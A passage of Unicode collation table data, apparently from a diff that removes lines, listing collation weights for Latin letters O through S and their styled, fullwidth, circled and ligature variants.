-1EDA  ; [.1D58.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE
-1EDD  ; [.1D58.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE
-1EDC  ; [.1D58.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE
-1EE1  ; [.1D58.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE
-1EE0  ; [.1D58.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
-1EDF  ; [.1D58.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE
-1EDE  ; [.1D58.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE
-1EE3  ; [.1D58.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
-1EE2  ; [.1D58.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
-1ECD  ; [.1D58.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH DOT BELOW
-1ECC  ; [.1D58.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH DOT BELOW
-1ED9  ; [.1D58.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8  ; [.1D58.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-0153  ; [.1D58.0020.0004][.0000.010B.0004][.1C25.0020.0004] # LATIN SMALL LIGATURE OE
-0152  ; [.1D58.0020.000A][.0000.010B.0004][.1C25.0020.000A] # LATIN CAPITAL LIGATURE OE
-A7F9  ; [.1D58.0020.0014][.0000.010B.0014][.1C25.0020.0014] # MODIFIER LETTER SMALL LIGATURE OE
-1F197 ; [.1D58.0020.001D][.1CE0.0020.001D] # SQUARED OK
-A74F  ; [.1D58.0020.0004][.1D58.0020.0004] # LATIN SMALL LETTER OO
-A74E  ; [.1D58.0020.000A][.1D58.0020.000A] # LATIN CAPITAL LETTER OO
-3375  ; [.1D58.0020.001C][.1E5E.0020.001D] # SQUARE OV
-1D0F  ; [.1D5C.0020.0002] # LATIN LETTER SMALL CAPITAL O
-1D11  ; [.1D5D.0020.0002] # LATIN SMALL LETTER SIDEWAYS O
-AB3D  ; [.1D5E.0020.0002] # LATIN SMALL LETTER BLACKLETTER O
-0276  ; [.1D5F.0020.0002] # LATIN LETTER SMALL CAPITAL OE
-1D14  ; [.1D63.0020.0002] # LATIN SMALL LETTER TURNED OE
-AB41  ; [.1D64.0020.0002] # LATIN SMALL LETTER TURNED OE WITH STROKE
-AB42  ; [.1D65.0020.0002] # LATIN SMALL LETTER TURNED OE WITH HORIZONTAL STROKE
-AB40  ; [.1D66.0020.0002] # LATIN SMALL LETTER INVERTED OE
-AB43  ; [.1D67.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O
-AB44  ; [.1D68.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O WITH STROKE
-1D13  ; [.1D69.0020.0002] # LATIN SMALL LETTER SIDEWAYS O WITH STROKE
-AB3E  ; [.1D6A.0020.0002] # LATIN SMALL LETTER BLACKLETTER O WITH STROKE
-0254  ; [.1D6B.0020.0002] # LATIN SMALL LETTER OPEN O
-0186  ; [.1D6B.0020.0008] # LATIN CAPITAL LETTER OPEN O
-1D53  ; [.1D6B.0020.0014] # MODIFIER LETTER SMALL OPEN O
-1D10  ; [.1D6F.0020.0002] # LATIN LETTER SMALL CAPITAL OPEN O
-1D12  ; [.1D70.0020.0002] # LATIN SMALL LETTER SIDEWAYS OPEN O
-AB3F  ; [.1D71.0020.0002] # LATIN SMALL LETTER OPEN O WITH STROKE
-1D97  ; [.1D72.0020.0002] # LATIN SMALL LETTER OPEN O WITH RETROFLEX HOOK
-AB62  ; [.1D73.0020.0002] # LATIN SMALL LETTER OPEN OE
-A74D  ; [.1D74.0020.0002] # LATIN SMALL LETTER O WITH LOOP
-A74C  ; [.1D74.0020.0008] # LATIN CAPITAL LETTER O WITH LOOP
-1D16  ; [.1D75.0020.0002] # LATIN SMALL LETTER TOP HALF O
-1D54  ; [.1D75.0020.0014] # MODIFIER LETTER SMALL TOP HALF O
-1D17  ; [.1D76.0020.0002] # LATIN SMALL LETTER BOTTOM HALF O
-1D55  ; [.1D76.0020.0014] # MODIFIER LETTER SMALL BOTTOM HALF O
-2C7A  ; [.1D77.0020.0002] # LATIN SMALL LETTER O WITH LOW RING INSIDE
-0275  ; [.1D78.0020.0002] # LATIN SMALL LETTER BARRED O
-019F  ; [.1D78.0020.0008] # LATIN CAPITAL LETTER O WITH MIDDLE TILDE
-1DB1  ; [.1D78.0020.0014] # MODIFIER LETTER SMALL BARRED O
-A74B  ; [.1D7C.0020.0002] # LATIN SMALL LETTER O WITH LONG STROKE OVERLAY
-A74A  ; [.1D7C.0020.0008] # LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY
-0277  ; [.1D7D.0020.0002] # LATIN SMALL LETTER CLOSED OMEGA
-A7B7  ; [.1D81.0020.0002] # LATIN SMALL LETTER OMEGA
-A7B6  ; [.1D81.0020.0008] # LATIN CAPITAL LETTER OMEGA
-0223  ; [.1D82.0020.0002] # LATIN SMALL LETTER OU
-0222  ; [.1D82.0020.0008] # LATIN CAPITAL LETTER OU
-1D3D  ; [.1D82.0020.001D] # MODIFIER LETTER CAPITAL OU
-1D15  ; [.1D86.0020.0002] # LATIN LETTER SMALL CAPITAL OU
-0070  ; [.1D87.0020.0002] # LATIN SMALL LETTER P
-FF50  ; [.1D87.0020.0003] # FULLWIDTH LATIN SMALL LETTER P
-1DEE  ; [.1D87.0020.0004] # COMBINING LATIN SMALL LETTER P
-24AB  ; [*0310.0020.0004][.1D87.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER P
-1D429 ; [.1D87.0020.0005] # MATHEMATICAL BOLD SMALL P
-1D45D ; [.1D87.0020.0005] # MATHEMATICAL ITALIC SMALL P
-1D491 ; [.1D87.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL P
-1D4C5 ; [.1D87.0020.0005] # MATHEMATICAL SCRIPT SMALL P
-1D4F9 ; [.1D87.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL P
-1D52D ; [.1D87.0020.0005] # MATHEMATICAL FRAKTUR SMALL P
-1D561 ; [.1D87.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL P
-1D595 ; [.1D87.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL P
-1D5C9 ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF SMALL P
-1D5FD ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL P
-1D631 ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL P
-1D665 ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL P
-1D699 ; [.1D87.0020.0005] # MATHEMATICAL MONOSPACE SMALL P
-24DF  ; [.1D87.0020.0006] # CIRCLED LATIN SMALL LETTER P
-0050  ; [.1D87.0020.0008] # LATIN CAPITAL LETTER P
-FF30  ; [.1D87.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER P
-1F11F ; [*0310.0020.0004][.1D87.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER P
-2119  ; [.1D87.0020.000B] # DOUBLE-STRUCK CAPITAL P
-1D40F ; [.1D87.0020.000B] # MATHEMATICAL BOLD CAPITAL P
-1D443 ; [.1D87.0020.000B] # MATHEMATICAL ITALIC CAPITAL P
-1D477 ; [.1D87.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL P
-1D4AB ; [.1D87.0020.000B] # MATHEMATICAL SCRIPT CAPITAL P
-1D4DF ; [.1D87.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL P
-1D513 ; [.1D87.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL P
-1D57B ; [.1D87.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL P
-1D5AF ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL P
-1D5E3 ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL P
-1D617 ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL P
-1D64B ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL P
-1D67F ; [.1D87.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL P
-24C5  ; [.1D87.0020.000C] # CIRCLED LATIN CAPITAL LETTER P
-1F15F ; [.1D87.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER P
-1D56  ; [.1D87.0020.0014] # MODIFIER LETTER SMALL P
-209A  ; [.1D87.0020.0015] # LATIN SUBSCRIPT SMALL LETTER P
-1D3E  ; [.1D87.0020.001D] # MODIFIER LETTER CAPITAL P
-1F13F ; [.1D87.0020.001D] # SQUARED LATIN CAPITAL LETTER P
-1F17F ; [.1D87.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER P
-1F18A ; [.1D87.0020.001D] # CROSSED NEGATIVE SQUARED LATIN CAPITAL LETTER P
-1E55  ; [.1D87.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER P WITH ACUTE
-1E54  ; [.1D87.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER P WITH ACUTE
-1E57  ; [.1D87.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER P WITH DOT ABOVE
-1E56  ; [.1D87.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER P WITH DOT ABOVE
-3380  ; [.1D87.0020.001C][.1BC2.0020.001D] # SQUARE PA AMPS
-33A9  ; [.1D87.0020.001D][.1BC2.0020.001C] # SQUARE PA
-1F18C ; [.1D87.0020.001D][.1BC2.0020.001D] # NEGATIVE SQUARED PA
-3376  ; [.1D87.0020.001C][.1BF5.0020.001C] # SQUARE PC
-338A  ; [.1D87.0020.001C][.1C60.0020.001D] # SQUARE PF
-33D7  ; [.1D87.0020.001D][.1C93.0020.001D] # SQUARE PH
-33D8  ; [.1D87.0020.001C][*0274.0020.001C][.1D25.0020.001C][*0274.0020.001C] # SQUARE PM
-33D9  ; [.1D87.0020.001D][.1D87.0020.001D][.1D25.0020.001D] # SQUARE PPM
-1F14E ; [.1D87.0020.001D][.1D87.0020.001D][.1E5E.0020.001D] # SQUARED PPV
-33DA  ; [.1D87.0020.001D][.1DAE.0020.001D] # SQUARE PR
-33B0  ; [.1D87.0020.001C][.1DEC.0020.001C] # SQUARE PS
-3250  ; [.1D87.0020.001D][.1E10.0020.001D][.1C25.0020.001D] # PARTNERSHIP SIGN
-33B4  ; [.1D87.0020.001C][.1E5E.0020.001D] # SQUARE PV
-33BA  ; [.1D87.0020.001C][.1E70.0020.001D] # SQUARE PW
-1D18  ; [.1D8B.0020.0002] # LATIN LETTER SMALL CAPITAL P
-1D7D  ; [.1D8C.0020.0002] # LATIN SMALL LETTER P WITH STROKE
-2C63  ; [.1D8C.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE
-A751  ; [.1D8D.0020.0002] # LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER
-A750  ; [.1D8D.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER
-1D71  ; [.1D8E.0020.0002] # LATIN SMALL LETTER P WITH MIDDLE TILDE
-1D88  ; [.1D8F.0020.0002] # LATIN SMALL LETTER P WITH PALATAL HOOK
-01A5  ; [.1D90.0020.0002] # LATIN SMALL LETTER P WITH HOOK
-01A4  ; [.1D90.0020.0008] # LATIN CAPITAL LETTER P WITH HOOK
-A753  ; [.1D94.0020.0002] # LATIN SMALL LETTER P WITH FLOURISH
-A752  ; [.1D94.0020.0008] # LATIN CAPITAL LETTER P WITH FLOURISH
-A755  ; [.1D95.0020.0002] # LATIN SMALL LETTER P WITH SQUIRREL TAIL
-A754  ; [.1D95.0020.0008] # LATIN CAPITAL LETTER P WITH SQUIRREL TAIL
-A7FC  ; [.1D96.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED P
-0278  ; [.1D97.0020.0002] # LATIN SMALL LETTER PHI
-1DB2  ; [.1D97.0020.0014] # MODIFIER LETTER SMALL PHI
-2C77  ; [.1D9B.0020.0002] # LATIN SMALL LETTER TAILLESS PHI
-0071  ; [.1D9C.0020.0002] # LATIN SMALL LETTER Q
-FF51  ; [.1D9C.0020.0003] # FULLWIDTH LATIN SMALL LETTER Q
-24AC  ; [*0310.0020.0004][.1D9C.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Q
-1D42A ; [.1D9C.0020.0005] # MATHEMATICAL BOLD SMALL Q
-1D45E ; [.1D9C.0020.0005] # MATHEMATICAL ITALIC SMALL Q
-1D492 ; [.1D9C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Q
-1D4C6 ; [.1D9C.0020.0005] # MATHEMATICAL SCRIPT SMALL Q
-1D4FA ; [.1D9C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Q
-1D52E ; [.1D9C.0020.0005] # MATHEMATICAL FRAKTUR SMALL Q
-1D562 ; [.1D9C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Q
-1D596 ; [.1D9C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Q
-1D5CA ; [.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Q
-1D5FE ; [.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Q
-1D632 ; [.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Q
-1D666 ; [.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Q
-1D69A ; [.1D9C.0020.0005] # MATHEMATICAL MONOSPACE SMALL Q
-24E0  ; [.1D9C.0020.0006] # CIRCLED LATIN SMALL LETTER Q
-0051  ; [.1D9C.0020.0008] # LATIN CAPITAL LETTER Q
-FF31  ; [.1D9C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Q
-1F120 ; [*0310.0020.0004][.1D9C.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Q
-211A  ; [.1D9C.0020.000B] # DOUBLE-STRUCK CAPITAL Q
-1D410 ; [.1D9C.0020.000B] # MATHEMATICAL BOLD CAPITAL Q
-1D444 ; [.1D9C.0020.000B] # MATHEMATICAL ITALIC CAPITAL Q
-1D478 ; [.1D9C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Q
-1D4AC ; [.1D9C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Q
-1D4E0 ; [.1D9C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Q
-1D514 ; [.1D9C.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Q
-1D57C ; [.1D9C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Q
-1D5B0 ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Q
-1D5E4 ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Q
-1D618 ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Q
-1D64C ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Q
-1D680 ; [.1D9C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Q
-24C6  ; [.1D9C.0020.000C] # CIRCLED LATIN CAPITAL LETTER Q
-1F160 ; [.1D9C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Q
-1F140 ; [.1D9C.0020.001D] # SQUARED LATIN CAPITAL LETTER Q
-1F180 ; [.1D9C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Q
-0239  ; [.1D9C.0020.0004][.1D87.0020.0004] # LATIN SMALL LETTER QP DIGRAPH
-A757  ; [.1DA0.0020.0002] # LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER
-A756  ; [.1DA0.0020.0008] # LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER
-A759  ; [.1DA1.0020.0002] # LATIN SMALL LETTER Q WITH DIAGONAL STROKE
-A758  ; [.1DA1.0020.0008] # LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE
-02A0  ; [.1DA2.0020.0002] # LATIN SMALL LETTER Q WITH HOOK
-024B  ; [.1DA6.0020.0002] # LATIN SMALL LETTER Q WITH HOOK TAIL
-024A  ; [.1DA6.0020.0008] # LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL
-0138  ; [.1DAA.0020.0002] # LATIN SMALL LETTER KRA
-0072  ; [.1DAE.0020.0002] # LATIN SMALL LETTER R
-FF52  ; [.1DAE.0020.0003] # FULLWIDTH LATIN SMALL LETTER R
-036C  ; [.1DAE.0020.0004] # COMBINING LATIN SMALL LETTER R
-1DCA  ; [.1DAE.0020.0004] # COMBINING LATIN SMALL LETTER R BELOW
-24AD  ; [*0310.0020.0004][.1DAE.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER R
-1D42B ; [.1DAE.0020.0005] # MATHEMATICAL BOLD SMALL R
-1D45F ; [.1DAE.0020.0005] # MATHEMATICAL ITALIC SMALL R
-1D493 ; [.1DAE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL R
-1D4C7 ; [.1DAE.0020.0005] # MATHEMATICAL SCRIPT SMALL R
-1D4FB ; [.1DAE.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL R
-1D52F ; [.1DAE.0020.0005] # MATHEMATICAL FRAKTUR SMALL R
-1D563 ; [.1DAE.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL R
-1D597 ; [.1DAE.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL R
-1D5CB ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF SMALL R
-1D5FF ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL R
-1D633 ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL R
-1D667 ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL R
-1D69B ; [.1DAE.0020.0005] # MATHEMATICAL MONOSPACE SMALL R
-24E1  ; [.1DAE.0020.0006] # CIRCLED LATIN SMALL LETTER R
-0052  ; [.1DAE.0020.0008] # LATIN CAPITAL LETTER R
-FF32  ; [.1DAE.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER R
-1F121 ; [*0310.0020.0004][.1DAE.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER R
-211B  ; [.1DAE.0020.000B] # SCRIPT CAPITAL R
-211C  ; [.1DAE.0020.000B] # BLACK-LETTER CAPITAL R
-211D  ; [.1DAE.0020.000B] # DOUBLE-STRUCK CAPITAL R
-1D411 ; [.1DAE.0020.000B] # MATHEMATICAL BOLD CAPITAL R
-1D445 ; [.1DAE.0020.000B] # MATHEMATICAL ITALIC CAPITAL R
-1D479 ; [.1DAE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL R
-1D4E1 ; [.1DAE.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL R
-1D57D ; [.1DAE.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL R
-1D5B1 ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL R
-1D5E5 ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL R
-1D619 ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL R
-1D64D ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL R
-1D681 ; [.1DAE.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL R
-24C7  ; [.1DAE.0020.000C] # CIRCLED LATIN CAPITAL LETTER R
-1F12C ; [.1DAE.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER R
-1F161 ; [.1DAE.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER R
-02B3  ; [.1DAE.0020.0014] # MODIFIER LETTER SMALL R
-1D63  ; [.1DAE.0020.0015] # LATIN SUBSCRIPT SMALL LETTER R
-1D3F  ; [.1DAE.0020.001D] # MODIFIER LETTER CAPITAL R
-1F141 ; [.1DAE.0020.001D] # SQUARED LATIN CAPITAL LETTER R
-1F181 ; [.1DAE.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER R
-0155  ; [.1DAE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER R WITH ACUTE
-0154  ; [.1DAE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER R WITH ACUTE
-0159  ; [.1DAE.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER R WITH CARON
-0158  ; [.1DAE.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER R WITH CARON
-1E59  ; [.1DAE.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER R WITH DOT ABOVE
-1E58  ; [.1DAE.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER R WITH DOT ABOVE
-0157  ; [.1DAE.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER R WITH CEDILLA
-0156  ; [.1DAE.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER R WITH CEDILLA
-A7A7  ; [.1DAE.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER R WITH OBLIQUE STROKE
-A7A6  ; [.1DAE.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER R WITH OBLIQUE STROKE
-0211  ; [.1DAE.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER R WITH DOUBLE GRAVE
-0210  ; [.1DAE.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER R WITH DOUBLE GRAVE
-0213  ; [.1DAE.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER R WITH INVERTED BREVE
-0212  ; [.1DAE.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER R WITH INVERTED BREVE
-1E5B  ; [.1DAE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER R WITH DOT BELOW
-1E5A  ; [.1DAE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW
-1E5D  ; [.1DAE.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER R WITH DOT BELOW AND MACRON
-1E5C  ; [.1DAE.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON
-1E5F  ; [.1DAE.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER R WITH LINE BELOW
-1E5E  ; [.1DAE.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER R WITH LINE BELOW
-A783  ; [.1DAE.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR R
-A782  ; [.1DAE.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR R
-33AD  ; [.1DAE.0020.001C][.1BC2.0020.001C][.1C0A.0020.001C] # SQUARE RAD
-33AE  ; [.1DAE.0020.001C][.1BC2.0020.001C][.1C0A.0020.001C][*0605.0020.001C][.1DEC.0020.001C] # SQUARE RAD OVER S
-33AF  ; [.1DAE.0020.001C][.1BC2.0020.001C][.1C0A.0020.001C][*0605.0020.001C][.1DEC.0020.001C][.1BBA.0020.001C] # SQUARE RAD OVER S SQUARED
-20A8  ; [.1DAE.0020.000A][.1DEC.0020.0004] # RUPEE SIGN
-AB45  ; [.1DB2.0020.0002] # LATIN SMALL LETTER STIRRUP R
-0280  ; [.1DB3.0020.0002] # LATIN LETTER SMALL CAPITAL R
-1DE2  ; [.1DB3.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL R
-01A6  ; [.1DB3.0020.0008] # LATIN LETTER YR
-AB46  ; [.1DB7.0020.0002] # LATIN LETTER SMALL CAPITAL R WITH RIGHT LEG
-A75B  ; [.1DB8.0020.0002] # LATIN SMALL LETTER R ROTUNDA
-1DE3  ; [.1DB8.0020.0004] # COMBINING LATIN SMALL LETTER R ROTUNDA
-A75A  ; [.1DB8.0020.0008] # LATIN CAPITAL LETTER R ROTUNDA
-1D19  ; [.1DB9.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED R
-024D  ; [.1DBA.0020.0002] # LATIN SMALL LETTER R WITH STROKE
-024C  ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER R WITH STROKE
-1D72  ; [.1DBE.0020.0002] # LATIN SMALL LETTER R WITH MIDDLE TILDE
-0279  ; [.1DBF.0020.0002] # LATIN SMALL LETTER TURNED R
-02B4  ; [.1DBF.0020.0014] # MODIFIER LETTER SMALL TURNED R
-1D1A  ; [.1DC3.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED R
-027A  ; [.1DC4.0020.0002] # LATIN SMALL LETTER TURNED R WITH LONG LEG
-1D89  ; [.1DC8.0020.0002] # LATIN SMALL LETTER R WITH PALATAL HOOK
-027B  ; [.1DC9.0020.0002] # LATIN SMALL LETTER TURNED R WITH HOOK
-02B5  ; [.1DC9.0020.0014] # MODIFIER LETTER SMALL TURNED R WITH HOOK
-2C79  ; [.1DCD.0020.0002] # LATIN SMALL LETTER TURNED R WITH TAIL
-027C  ; [.1DCE.0020.0002] # LATIN SMALL LETTER R WITH LONG LEG
-027D  ; [.1DD2.0020.0002] # LATIN SMALL LETTER R WITH TAIL
-2C64  ; [.1DD2.0020.0008] # LATIN CAPITAL LETTER R WITH TAIL
-AB49  ; [.1DD6.0020.0002] # LATIN SMALL LETTER R WITH CROSSED-TAIL
-027E  ; [.1DD7.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK
-1D73  ; [.1DDB.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE
-027F  ; [.1DDC.0020.0002] # LATIN SMALL LETTER REVERSED R WITH FISHHOOK
-AB47  ; [.1DE0.0020.0002] # LATIN SMALL LETTER R WITHOUT HANDLE
-AB48  ; [.1DE1.0020.0002] # LATIN SMALL LETTER DOUBLE R
-AB4A  ; [.1DE2.0020.0002] # LATIN SMALL LETTER DOUBLE R WITH CROSSED-TAIL
-AB4B  ; [.1DE3.0020.0002] # LATIN SMALL LETTER SCRIPT R
-AB4C  ; [.1DE4.0020.0002] # LATIN SMALL LETTER SCRIPT R WITH RING
-0281  ; [.1DE5.0020.0002] # LATIN LETTER SMALL CAPITAL INVERTED R
-02B6  ; [.1DE5.0020.0014] # MODIFIER LETTER SMALL CAPITAL INVERTED R
-A775  ; [.1DE9.0020.0002] # LATIN SMALL LETTER RUM
-A776  ; [.1DEA.0020.0002] # LATIN LETTER SMALL CAPITAL RUM
-A75D  ; [.1DEB.0020.0002] # LATIN SMALL LETTER RUM ROTUNDA
-A75C  ; [.1DEB.0020.0008] # LATIN CAPITAL LETTER RUM ROTUNDA
-0073  ; [.1DEC.0020.0002] # LATIN SMALL LETTER S
-FF53  ; [.1DEC.0020.0003] # FULLWIDTH LATIN SMALL LETTER S
-1DE4  ; [.1DEC.0020.0004] # COMBINING LATIN SMALL LETTER S
-24AE  ; [*0310.0020.0004][.1DEC.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER S
-1D42C ; [.1DEC.0020.0005] # MATHEMATICAL BOLD SMALL S
-1D460 ; [.1DEC.0020.0005] # MATHEMATICAL ITALIC SMALL S
-1D494 ; [.1DEC.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL S
-1D4C8 ; [.1DEC.0020.0005] # MATHEMATICAL SCRIPT SMALL S
-1D4FC ; [.1DEC.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL S
-1D530 ; [.1DEC.0020.0005] # MATHEMATICAL FRAKTUR SMALL S
-1D564 ; [.1DEC.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL S
-1D598 ; [.1DEC.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL S
-1D5CC ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF SMALL S
-1D600 ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL S
-1D634 ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL S
-1D668 ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL S
-1D69C ; [.1DEC.0020.0005] # MATHEMATICAL MONOSPACE SMALL S
-24E2  ; [.1DEC.0020.0006] # CIRCLED LATIN SMALL LETTER S
-0053  ; [.1DEC.0020.0008] # LATIN CAPITAL LETTER S
-FF33  ; [.1DEC.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER S
-1F122 ; [*0310.0020.0004][.1DEC.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER S
-1F12A ; [*0372.0020.0004][.1DEC.0020.000A][*0373.0020.0004] # TORTOISE SHELL BRACKETED LATIN CAPITAL LETTER S
-1D412 ; [.1DEC.0020.000B] # MATHEMATICAL BOLD CAPITAL S
-1D446 ; [.1DEC.0020.000B] # MATHEMATICAL ITALIC CAPITAL S
-1D47A ; [.1DEC.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL S
